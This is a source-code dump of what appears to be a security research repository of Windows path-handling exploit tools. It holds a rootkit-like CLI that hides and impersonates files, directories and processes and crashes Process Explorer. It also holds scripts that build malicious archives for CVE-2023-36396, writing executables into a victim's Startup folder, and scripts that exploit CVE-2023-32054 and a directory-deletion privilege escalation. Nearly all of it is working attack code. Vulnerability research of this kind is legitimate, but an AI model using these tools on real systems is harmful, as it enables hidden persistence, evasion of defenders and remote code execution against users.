94 | attribute_list.contents.Attributes[0].Value = cast(nt_exe_path_unicode_string.Buffer, ctypes.c_void_p).value
95 |
96 | process_handle = HANDLE()
97 | thread_handle = HANDLE()
98 |
99 | ctypes.windll.ntdll.NtCreateUserProcess.restype = c_ulong
100 | nt_status = ctypes.windll.ntdll.NtCreateUserProcess(byref(process_handle), byref(thread_handle), PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, None, None, nt_process_create_flags, nt_thread_create_flags, process_parameters, byref(create_info), attribute_list)
101 | if nt_status != 0:
102 | raise OSError(f"NtCreateUserProcess returned an error nt status: {hex(nt_status)}")
103 |
104 | return process_handle
105 |
106 |
--------------------------------------------------------------------------------
/tools/magic_dot_cli/args.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | from enum import Enum
3 |
4 | class ArgsCommands(Enum):
5 | """
6 | Possible arguments commands.
7 | """
8 | CREATE_INOPERABLE_FILE = 0
9 | CREATE_INOPERABLE_DIR = 1
10 | CREATE_IMPERSONATED_FILE = 2
11 | CREATE_IMPERSONATED_DIR = 3
12 | CREATE_IMPERSONATED_PROCESS = 4
13 | ADD_INVISIBLE_FILE_INTO_ZIP = 5
14 | DISABLE_PROCEXP = 6
15 | CREATE_DOTS_FILE = 7
16 | CREATE_DOTS_DIR = 8
17 |
18 | def parse_args():
19 | parser = argparse.ArgumentParser(description="An unprivileged rootkit-like tool")
20 | commands_subparsers = parser.add_subparsers(title="command", dest="command", required=True)
21 |
22 | impersonate_proc_parser = commands_subparsers.add_parser(ArgsCommands.CREATE_IMPERSONATED_PROCESS.name, help="Create a process that impersonates a different process. Both Task Manager and Process Explorer will display information about the target process to impersonate to")
23 | impersonate_proc_parser.add_argument("-exe-path", type=str, required=True, help="Path to the executable to run")
24 | impersonate_proc_parser.add_argument("-impersonate-to", type=str, required=True, help="Path to the executable that the process should impersonate to")
25 |
26 | inoperable_file_parser = commands_subparsers.add_parser(ArgsCommands.CREATE_INOPERABLE_FILE.name, help="Create an inoperable file")
27 | inoperable_file_parser.add_argument("-parent-dir-path", type=str, required=True, help="Path to the directory to create the inoperable file in")
28 | inoperable_file_parser.add_argument("-copy-from", type=str, help="Path to a file that contains content to write into the inoperable file")
29 |
30 | inoperable_dir_parser = commands_subparsers.add_parser(ArgsCommands.CREATE_INOPERABLE_DIR.name, help="Create an inoperable directory")
31 | inoperable_dir_parser.add_argument("-parent-dir-path", type=str, required=True, help="Path to the directory to create the inoperable directory in")
32 | inoperable_dir_parser.add_argument("-copy-from", type=str, help="Path to a directory that contains files to copy into the inoperable directory")
33 |
34 | dots_file_parser = commands_subparsers.add_parser(ArgsCommands.CREATE_DOTS_FILE.name, help="Create a dots file")
35 | dots_file_parser.add_argument("-parent-dir-path", type=str, required=True, help="Path to the directory to create the dots file in")
36 | dots_file_parser.add_argument("-copy-from", type=str, help="Path to a file that contains content to write into the dots file")
37 |
38 | dots_dir_parser = commands_subparsers.add_parser(ArgsCommands.CREATE_DOTS_DIR.name, help="Create a dots directory")
39 | dots_dir_parser.add_argument("-parent-dir-path", type=str, required=True, help="Path to the directory to create the dots directory in")
40 | dots_dir_parser.add_argument("-copy-from", type=str, help="Path to a directory that contains files to copy into the dots directory")
41 |
42 | impersonated_file_parser = commands_subparsers.add_parser(ArgsCommands.CREATE_IMPERSONATED_FILE.name, help="Create a file that impersonates a different file")
43 | impersonated_file_parser.add_argument("-target-file", type=str, required=True, help="Path to the file that the new file impersonates to")
44 | impersonated_file_parser.add_argument("-near", action="store_true", help="Create the file near the target file")
45 | short_name_group = impersonated_file_parser.add_mutually_exclusive_group(required=False)
46 | short_name_group.add_argument("-use-existing-short", action="store_true", help="Use the short name of the target file to impersonate")
47 | short_name_group.add_argument("-use-specific-short", type=str, help="Use the short name of the target file to impersonate")
48 | impersonated_file_parser.add_argument("-copy-from", type=str, help="Path to a file that contains content to write into the impersonated file")
49 |
50 | impersonated_dir_parser = commands_subparsers.add_parser(ArgsCommands.CREATE_IMPERSONATED_DIR.name, help="Create a directory that impersonates a different directory")
51 | impersonated_dir_parser.add_argument("-target-dir", type=str, required=True, help="Path to the file that the new directory impersonates to")
52 | impersonated_dir_parser.add_argument("-near", action="store_true", help="Create the directory near the target directory")
53 | short_name_group = impersonated_dir_parser.add_mutually_exclusive_group(required=True)
54 | short_name_group.add_argument("-use-existing-short", action="store_true", help="Use the short name of the target file to impersonate")
55 | short_name_group.add_argument("-use-specific-short", action="store_true", help="Use the short name of the target file to impersonate")
56 | impersonated_dir_parser.add_argument("-copy-from", type=str, help="Path to a directory that contains files to copy into the impersonated directory")
57 |
58 | invisible_zip_file_parser = commands_subparsers.add_parser(ArgsCommands.ADD_INVISIBLE_FILE_INTO_ZIP.name, help="Inserts a file into a zip. The file is inserted with a name that prevents Windows' ZIP archiver from being able to list it in the ZIP.")
59 | invisible_zip_file_parser.add_argument("-file", type=str, required=True, help="Path to file to insert into the ZIP")
60 | invisible_zip_file_parser.add_argument("-zip-file", type=str, required=True, help="Path to the ZIP file")
61 |
62 | disable_procexp_parser = commands_subparsers.add_parser(ArgsCommands.DISABLE_PROCEXP.name, help="Exploits a DOS vulnerability in ProcExp. Creates a process that runs forever and does nothing. The process has a certain name that crashes ProcExp whenever it runs. Valid against all ProcExp versions under version 17.04 (released in April 3rd 2023).")
63 |
64 | return parser.parse_args()
--------------------------------------------------------------------------------
/tools/magic_dot_cli/command_handlers.py:
--------------------------------------------------------------------------------
1 | from magic_dot.concealments import (
2 | create_impersonated_dir,
3 | create_impersonated_file,
4 | create_impersonated_process,
5 | create_dots_dir,
6 | create_dots_file,
7 | create_inoperable_file,
8 | create_inoperable_dir,
9 | add_invisible_file_to_zip,
10 | disable_procexp,
11 | )
12 | from magic_dot.file_utils import nt_path
13 |
14 |
15 | def create_dots_file_from_args(args):
16 | dots_file_path = create_dots_file(args.parent_dir_path, args.copy_from)
17 | print(
18 | f'Dots file was created. From now on you can access the file using the following path:\n"{dots_file_path}" or using Cygwin\'s tools that use NT paths by default'
19 | )
20 |
21 |
22 | def create_dots_dir_from_args(args):
23 | dots_dir_path = create_dots_dir(args.parent_dir_path, args.copy_from)
24 | print(
25 | f'Dots directory was created. From now on you can access the directory using the following path:\n"{dots_dir_path}" or using Cygwin\'s tools that use NT paths by default'
26 | )
27 |
28 |
29 | def create_inoperable_file_from_args(args):
30 | inoperable_file_path = create_inoperable_file(args.parent_dir_path, args.copy_from)
31 | print(
32 | f'Inoperable file was created. From now on you can access the file using the following path:\n"{inoperable_file_path}" or using Cygwin\'s tools that use NT paths by default'
33 | )
34 |
35 |
36 | def create_inoperable_dir_from_args(args):
37 | inoperable_dir_path = create_inoperable_dir(args.parent_dir_path, args.copy_from)
38 | print(
39 | f'Inoperable directory was created. From now on you can access the directory using the following path:\n"{inoperable_dir_path}" or using Cygwin\'s tools that use NT paths by default'
40 | )
41 |
42 |
43 | def create_impersonated_file_from_args(args):
44 | impersonated_file_path = create_impersonated_file(
45 | args.target_file, args.copy_from, args.near, args.use_existing_short, args.use_specific_short
46 | )
47 | print(
48 | f'Impersonated file was created. From now on you can access the file using the following path:\n"{nt_path(impersonated_file_path)}" or using Cygwin\'s tools that use NT paths by default'
49 | )
50 |
51 |
52 | def create_impersonated_dir_from_args(args):
53 | impersonated_dir_path = create_impersonated_dir(
54 | args.target_dir, args.copy_from, args.near, args.use_existing_short, args.use_specific_short
55 | )
56 | print(
57 | f'Impersonated directory was created. From now on you can access the directory using the following path:\n"{nt_path(impersonated_dir_path)}" or using Cygwin\'s tools that use NT paths by default'
58 | )
59 |
60 |
61 | def create_impersonated_process_from_args(args):
62 | return create_impersonated_process(args.impersonate_to, args.exe_path)
63 |
64 |
65 | def add_invisible_file_to_zip_from_args(args):
66 | add_invisible_file_to_zip(args.zip_file, args.file)
67 |
68 |
69 | def disable_procexp_from_args(args):
70 | disable_procexp()
71 |
--------------------------------------------------------------------------------
/tools/magic_dot_cli/magic_dot_cli.py:
--------------------------------------------------------------------------------
1 | from command_handlers import create_inoperable_file_from_args, create_inoperable_dir_from_args, create_impersonated_file_from_args, \
2 | create_impersonated_dir_from_args, create_impersonated_process_from_args, add_invisible_file_to_zip_from_args, disable_procexp_from_args, \
3 | create_dots_file_from_args, create_dots_dir_from_args
4 | from args import parse_args, ArgsCommands
5 |
6 | ARGS_COMMANDS_TO_HANDLERS = {
7 | ArgsCommands.CREATE_INOPERABLE_FILE: create_inoperable_file_from_args,
8 | ArgsCommands.CREATE_INOPERABLE_DIR: create_inoperable_dir_from_args,
9 | ArgsCommands.CREATE_DOTS_FILE: create_dots_file_from_args,
10 | ArgsCommands.CREATE_DOTS_DIR: create_dots_dir_from_args,
11 | ArgsCommands.CREATE_IMPERSONATED_FILE: create_impersonated_file_from_args,
12 | ArgsCommands.CREATE_IMPERSONATED_DIR: create_impersonated_dir_from_args,
13 | ArgsCommands.CREATE_IMPERSONATED_PROCESS: create_impersonated_process_from_args,
14 | ArgsCommands.DISABLE_PROCEXP: disable_procexp_from_args,
15 | ArgsCommands.ADD_INVISIBLE_FILE_INTO_ZIP: add_invisible_file_to_zip_from_args
16 | }
17 |
18 | def main():
19 | args = parse_args()
20 |
21 | command_int_value = ArgsCommands[args.command]
22 | ARGS_COMMANDS_TO_HANDLERS[command_int_value](args)
23 |
24 |
25 | if "__main__" == __name__:
26 | main()
--------------------------------------------------------------------------------
/tools/prepare_archive_rce_exploit/prepare_archive_rce_exploit.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import zstandard
3 | import tarfile
4 | import tempfile
5 | import os
6 | import py7zr
7 |
8 | from reparse_points.reparse_points import create_ntfs_symlink
9 |
10 | TAR_EXTENSION_TO_OPEN_MODE = {
11 | ".tar": "w",
12 | ".tar.gz": "w:gz",
13 | ".tar.gzip": "w:gz",
14 | ".tar.xz": "w:xz",
15 | ".tar.bz2": "w:bz2",
16 | ".tar.bzip2": "w:bz2",
17 | ".tar.zst": "w",
18 | ".tar.zstd": "w",
19 | }
20 |
21 |
22 | def create_exploit_7zip_archive(files_to_write_paths: list[str], relative_target_directory: str, out_archive_path: str):
23 | with py7zr.SevenZipFile(out_archive_path, "w") as archive:
24 | with tempfile.TemporaryDirectory() as temp_dir_path:
25 | for exe_path in files_to_write_paths:
26 | exe_name = os.path.basename(exe_path)
27 | temp_symlink_path = os.path.join(temp_dir_path, f"{exe_name}.link")
28 | temp_symlink_target_path = os.path.join(relative_target_directory, exe_name)
29 | create_ntfs_symlink(temp_symlink_path, temp_symlink_target_path, relative=True)
30 | archive.write(temp_symlink_path, arcname=exe_name)
31 | archive.write(exe_path, arcname=f"{exe_name}.")
32 |
33 | # For the exploit to work, the files needs to have Linux file attributes which are automatically given
34 | # if the archive is compressed in Linux but this program runs on Windows
35 | for file in archive.files:
36 | if file.filename.endswith("."):
37 | file.file_properties()["attributes"] = 2181005344 # attributes: A lrwxrwxrwx
38 | else:
39 | file.file_properties()["attributes"] = 2717876256 # attributes: A -rwxrwxrwx
40 |
41 |
42 | def create_exploit_tar_type_archive(files_to_write_paths: list[str], relative_target_directory: str, out_archive_path: str):
43 | selected_open_mode = ""
44 | for archive_ext, open_mode in TAR_EXTENSION_TO_OPEN_MODE.items():
45 | if out_archive_path.endswith(archive_ext):
46 | selected_open_mode = open_mode
47 |
48 | for exe_path in files_to_write_paths:
49 | with tarfile.open(out_archive_path, selected_open_mode) as archive:
50 | with tempfile.TemporaryDirectory() as temp_dir_path:
51 | exe_name = os.path.basename(exe_path)
52 | temp_symlink_path = os.path.join(temp_dir_path, f"{exe_name}.link")
53 | temp_symlink_target_path = os.path.join(relative_target_directory, exe_name)
54 | create_ntfs_symlink(temp_symlink_path, temp_symlink_target_path, relative=True)
55 | archive.add(temp_symlink_path, arcname=exe_name)
56 | archive.add(exe_path, arcname=f"{exe_name}.")
57 |
58 | if out_archive_path.endswith(".tar.zst") or out_archive_path.endswith(".tar.zstd"):
59 | with open(out_archive_path, "rb+") as f:
60 | zst_compressor = zstandard.ZstdCompressor()
61 | compressed_data = zst_compressor.compress(f.read())
62 | f.write(compressed_data)
63 |
64 |
65 | def main():
66 | parser = argparse.ArgumentParser(description="Exploits CVE-2023-36396. Crafts a malicious archive that exploits Windows File Explorer to extract a file to an arbitrary relative path. The default relative path is set to point from the Downloads directory to the user's Startup folder")
67 | parser.add_argument("files_to_write_paths", nargs='+', default=[], help="File paths separated by spaces. These files are the files which will be written to the chosen victim's directory")
68 | supported_archive_types = list(TAR_EXTENSION_TO_OPEN_MODE.keys()) + [".7z", ".7zip"]
69 | supported_archive_types_str = '|'.join(supported_archive_types)
70 | parser.add_argument("out_archive_path", type=str, help=f"Path to the archive to be created that will contain the exploit. the type of the archive will be determined based on the file extension provided. Supported types: {supported_archive_types_str}")
71 | parser.add_argument("--target-dir-relative", type=str, help="A relative path from the victim's estimated extraction folder to the destination folder of the executables", default="../../AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup")
72 | args = parser.parse_args()
73 |
74 | if args.out_archive_path.endswith(".7z") or args.out_archive_path.endswith(".7zip"):
75 | create_exploit_7zip_archive(args.files_to_write_paths, args.target_dir_relative, args.out_archive_path)
76 | else:
77 | create_exploit_tar_type_archive(args.files_to_write_paths, args.target_dir_relative, args.out_archive_path)
78 |
79 |
80 | if __name__ == "__main__":
81 | main()
--------------------------------------------------------------------------------
/tools/prepare_archive_rce_exploit/reparse_points/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SafeBreach-Labs/MagicDot/9481e065d176bc17a415063674b6c025ca32382d/tools/prepare_archive_rce_exploit/reparse_points/__init__.py
--------------------------------------------------------------------------------
/tools/prepare_archive_rce_exploit/reparse_points/reparse_points.py:
--------------------------------------------------------------------------------
1 | import win32file
2 | import winioctlcon
3 | import ctypes
4 | from .reparse_structs import *
5 | from magic_dot.file_utils import nt_path
6 | import pywintypes
7 |
8 | IO_REPARSE_TAG_SYMLINK = 0xA000000C
9 | IO_REPARSE_TAG_MOUNT_POINT = 0xA0000003
10 | REPARSE_DATA_BUFFER_HEADER_LENGTH = getattr(REPARSE_DATA_BUFFER, "GenericReparseBuffer").offset
11 |
12 | def create_symlink_reparse_buffer(target_path: str, print_name: str, relative: bool):
13 | if not relative: target_path = nt_path(target_path)
14 | unicode_target_path = ctypes.create_unicode_buffer(target_path)
15 | unicode_target_path_byte_size = (len(unicode_target_path) - 1) * 2 # remove null terminator from size
16 | unicode_print_name = ctypes.create_unicode_buffer(print_name)
17 | unicode_print_name_byte_size = (len(unicode_print_name) - 1) * 2 # remove null terminator from size
18 |
19 | path_buffer_byte_size = unicode_target_path_byte_size + unicode_print_name_byte_size + 12 + 4
20 | total_size = path_buffer_byte_size + REPARSE_DATA_BUFFER_HEADER_LENGTH;
21 |
22 | reparse_data_buffer = ctypes.create_string_buffer(b"\x00" * (total_size-1))
23 | reparse_data_struct = ctypes.cast(reparse_data_buffer, ctypes.POINTER(REPARSE_DATA_BUFFER)).contents
24 | reparse_data_struct.ReparseTag = IO_REPARSE_TAG_SYMLINK
25 | reparse_data_struct.ReparseDataLength = path_buffer_byte_size
26 |
27 | reparse_data_struct.SymbolicLinkReparseBuffer.SubstituteNameOffset = 0
28 | reparse_data_struct.SymbolicLinkReparseBuffer.SubstituteNameLength = unicode_target_path_byte_size
29 |
30 | path_buffer_address = ctypes.addressof(reparse_data_struct) + REPARSE_DATA_BUFFER_HEADER_LENGTH + getattr(SYMBOLIC_LINK_REPARSE_BUFFER, "PathBuffer").offset
31 | path_buffer_pointer = ctypes.cast(path_buffer_address, ctypes.POINTER(ctypes.c_byte))
32 | ctypes.memmove(path_buffer_pointer, unicode_target_path, unicode_target_path_byte_size + 2)
33 |
34 | reparse_data_struct.SymbolicLinkReparseBuffer.PrintNameOffset = unicode_target_path_byte_size + 2
35 | reparse_data_struct.SymbolicLinkReparseBuffer.PrintNameLength = unicode_print_name_byte_size
36 |
37 | print_name_address = ctypes.addressof(reparse_data_struct) + REPARSE_DATA_BUFFER_HEADER_LENGTH + getattr(SYMBOLIC_LINK_REPARSE_BUFFER, "PathBuffer").offset + unicode_target_path_byte_size + 2
38 | print_name_pointer = ctypes.cast(print_name_address, ctypes.POINTER(ctypes.c_byte))
39 | ctypes.memmove(print_name_pointer, unicode_print_name, unicode_print_name_byte_size + 2)
40 | reparse_data_struct.SymbolicLinkReparseBuffer.Flags = 1 if relative else 0
41 |
42 | return bytes(reparse_data_buffer)
43 |
44 | def create_mount_point_reparse_buffer(target_path: str, print_name: str, relative: bool):
45 | if not relative: target_path = nt_path(target_path)
46 | unicode_target_path = ctypes.create_unicode_buffer(target_path)
47 | unicode_target_path_byte_size = (len(unicode_target_path) - 1) * 2 # remove null terminator from size
48 | unicode_print_name = ctypes.create_unicode_buffer(print_name)
49 | unicode_print_name_byte_size = (len(unicode_print_name) - 1) * 2 # remove null terminator from size
50 |
51 | path_buffer_byte_size = unicode_target_path_byte_size + unicode_print_name_byte_size + 8 + 4
52 | total_size = path_buffer_byte_size + REPARSE_DATA_BUFFER_HEADER_LENGTH;
53 |
54 | reparse_data_buffer = ctypes.create_string_buffer(b"\x00" * (total_size-1))
55 | reparse_data_struct = ctypes.cast(reparse_data_buffer, ctypes.POINTER(REPARSE_DATA_BUFFER)).contents
56 | reparse_data_struct.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT
57 | reparse_data_struct.ReparseDataLength = path_buffer_byte_size
58 |
59 | reparse_data_struct.MountPointReparseBuffer.SubstituteNameOffset = 0
60 | reparse_data_struct.MountPointReparseBuffer.SubstituteNameLength = unicode_target_path_byte_size
61 |
62 | path_buffer_address = ctypes.addressof(reparse_data_struct) + REPARSE_DATA_BUFFER_HEADER_LENGTH + getattr(MOUNT_POINT_REPARSE_BUFFER, "PathBuffer").offset
63 | path_buffer_pointer = ctypes.cast(path_buffer_address, ctypes.POINTER(ctypes.c_byte))
64 | ctypes.memmove(path_buffer_pointer, unicode_target_path, unicode_target_path_byte_size + 2)
65 |
66 | reparse_data_struct.MountPointReparseBuffer.PrintNameOffset = unicode_target_path_byte_size + 2
67 | reparse_data_struct.MountPointReparseBuffer.PrintNameLength = unicode_print_name_byte_size
68 |
69 | print_name_address = ctypes.addressof(reparse_data_struct) + REPARSE_DATA_BUFFER_HEADER_LENGTH + getattr(MOUNT_POINT_REPARSE_BUFFER, "PathBuffer").offset + unicode_target_path_byte_size + 2
70 | print_name_pointer = ctypes.cast(print_name_address, ctypes.POINTER(ctypes.c_byte))
71 | ctypes.memmove(print_name_pointer, unicode_print_name, unicode_print_name_byte_size + 2)
72 |
73 | return bytes(reparse_data_buffer)
74 |
75 |
76 | def set_reparse_point(reparse_point_path, reparse_data_buffer, is_dir=False):
77 | file_flags = win32file.FILE_FLAG_OPEN_REPARSE_POINT
78 | if is_dir:
79 | try:
80 | win32file.CreateDirectoryW(reparse_point_path, None)
81 | except pywintypes.error:
82 | pass
83 | file_flags |= win32file.FILE_FLAG_BACKUP_SEMANTICS
84 | else:
85 | open(reparse_point_path, "wb").close()
86 |
87 | reparse_point_handle = win32file.CreateFile(reparse_point_path, win32file.GENERIC_READ | win32file.GENERIC_WRITE, 0, None, win32file.OPEN_EXISTING, file_flags, 0)
88 | win32file.DeviceIoControl(reparse_point_handle, winioctlcon.FSCTL_SET_REPARSE_POINT, reparse_data_buffer, None, None)
89 |
90 | def create_ntfs_symlink(reparse_point_path, target_path, relative=False, print_name=None, is_dir=False):
91 | if None == print_name: print_name = target_path
92 | reparse_data_buffer = create_symlink_reparse_buffer(target_path, print_name, relative)
93 | set_reparse_point(reparse_point_path, reparse_data_buffer, is_dir)
94 |
95 | def create_mount_point(reparse_point_path, target_path, relative=False, print_name=None):
96 | if None == print_name: print_name = target_path
97 | reparse_data_buffer = create_mount_point_reparse_buffer(target_path, print_name, relative)
98 | set_reparse_point(reparse_point_path, reparse_data_buffer, True)
99 |
100 |
--------------------------------------------------------------------------------
/tools/prepare_archive_rce_exploit/reparse_points/reparse_structs.py:
--------------------------------------------------------------------------------
1 | from ctypes import *
2 | from ctypes.wintypes import *
3 |
4 | class GENERIC_REPARSE_BUFFER(Structure):
5 | _fields_ = (('DataBuffer', BYTE * 1),)
6 |
7 | class SYMBOLIC_LINK_REPARSE_BUFFER(Structure):
8 | _fields_ = (('SubstituteNameOffset', USHORT),
9 | ('SubstituteNameLength', USHORT),
10 | ('PrintNameOffset', USHORT),
11 | ('PrintNameLength', USHORT),
12 | ('Flags', ULONG),
13 | ('PathBuffer', WCHAR * 1))
14 |
15 |
16 | class MOUNT_POINT_REPARSE_BUFFER(Structure):
17 | _fields_ = (('SubstituteNameOffset', USHORT),
18 | ('SubstituteNameLength', USHORT),
19 | ('PrintNameOffset', USHORT),
20 | ('PrintNameLength', USHORT),
21 | ('PathBuffer', WCHAR * 1))
22 |
23 |
24 | class REPARSE_DATA_BUFFER(Structure):
25 | class REPARSE_BUFFER(Union):
26 | _fields_ = (('SymbolicLinkReparseBuffer',
27 | SYMBOLIC_LINK_REPARSE_BUFFER),
28 | ('MountPointReparseBuffer',
29 | MOUNT_POINT_REPARSE_BUFFER),
30 | ('GenericReparseBuffer',
31 | GENERIC_REPARSE_BUFFER))
32 | _fields_ = (('ReparseTag', ULONG),
33 | ('ReparseDataLength', USHORT),
34 | ('Reserved', USHORT),
35 | ('ReparseBuffer', REPARSE_BUFFER))
36 | _anonymous_ = ('ReparseBuffer',)
37 |
38 |
39 | dummy_object = REPARSE_DATA_BUFFER()
--------------------------------------------------------------------------------
/tools/prepare_delete_dir_exploit.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import os
3 |
4 |
5 | def parse_args():
6 | parser = argparse.ArgumentParser(description="Exploits a \"won't fixed\" deletion EoP vulnerability triggered by a privileged user interaction. Creates a directory called \"... \" in a target directory to delete. When \"... \" is deleted, then its parent directory is deleted too.")
7 | parser.add_argument("target_dir", type=str, help="The target directory to try to delete. It is vulnerable only if you can create a directory inside it.")
8 | return parser.parse_args()
9 |
10 |
11 | def main():
12 | args = parse_args()
13 | target_dir_abs_path = os.path.abspath(args.target_dir)
14 | os.mkdir(f"\\??\\{target_dir_abs_path}\\... ")
15 | open(f"\\??\\{target_dir_abs_path}\\... \\temp", "wb").close()
16 |
17 |
18 |
19 | if "__main__" == __name__:
20 | main()
--------------------------------------------------------------------------------
/tools/prepare_shadow_copy_restoration_write_exploit.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import os
3 | import shutil
4 |
5 | def parse_args():
6 | parser = argparse.ArgumentParser(description="Exploits CVE-2023-32054")
7 | parser.add_argument("-target-dir", required=True, type=str, help="The target directory to try to overwrite its files. The directory is vulnerable if an unprivileged user is allowed to create a new directory its parent directory")
8 | parse_group = parser.add_mutually_exclusive_group(required=True)
9 | parse_group.add_argument("-replacing-dir", type=str, help="The directory that contains files with the same names in the same structure of the target dir but with the new desired content")
10 | parse_group.add_argument("-remove-dir", action="store_true", default=False, help="Delete the directory created a part of the exploit in an earlier point in time. This is recommended to be done after a shadow copy was taken by an admin, while the directory existed")
11 |
12 | return parser.parse_args()
13 |
14 |
15 | def main():
16 | args = parse_args()
17 | target_dir_abs_path = os.path.abspath(args.target_dir)
18 | if args.remove_dir:
19 | shutil.rmtree(f"\\??\\{target_dir_abs_path} ")
20 | else:
21 | shutil.copytree(args.replacing_dir, f"\\??\\{target_dir_abs_path} ")
22 |
23 |
24 |
25 | if "__main__" == __name__:
26 | main()
--------------------------------------------------------------------------------